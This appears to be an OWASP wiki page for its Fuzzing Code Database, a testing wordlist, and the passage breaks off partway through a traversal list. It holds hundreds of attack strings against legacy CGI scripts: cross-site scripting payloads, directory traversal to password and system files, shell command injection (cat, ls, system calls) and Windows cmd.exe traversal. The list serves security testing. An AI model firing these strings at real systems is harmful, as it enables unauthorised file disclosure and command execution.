maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80077 2010-03-17T21:10:26Z

<p>Adam.muntner: /* Generic 8 Directory Deep Traversal Fuzz (77 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> 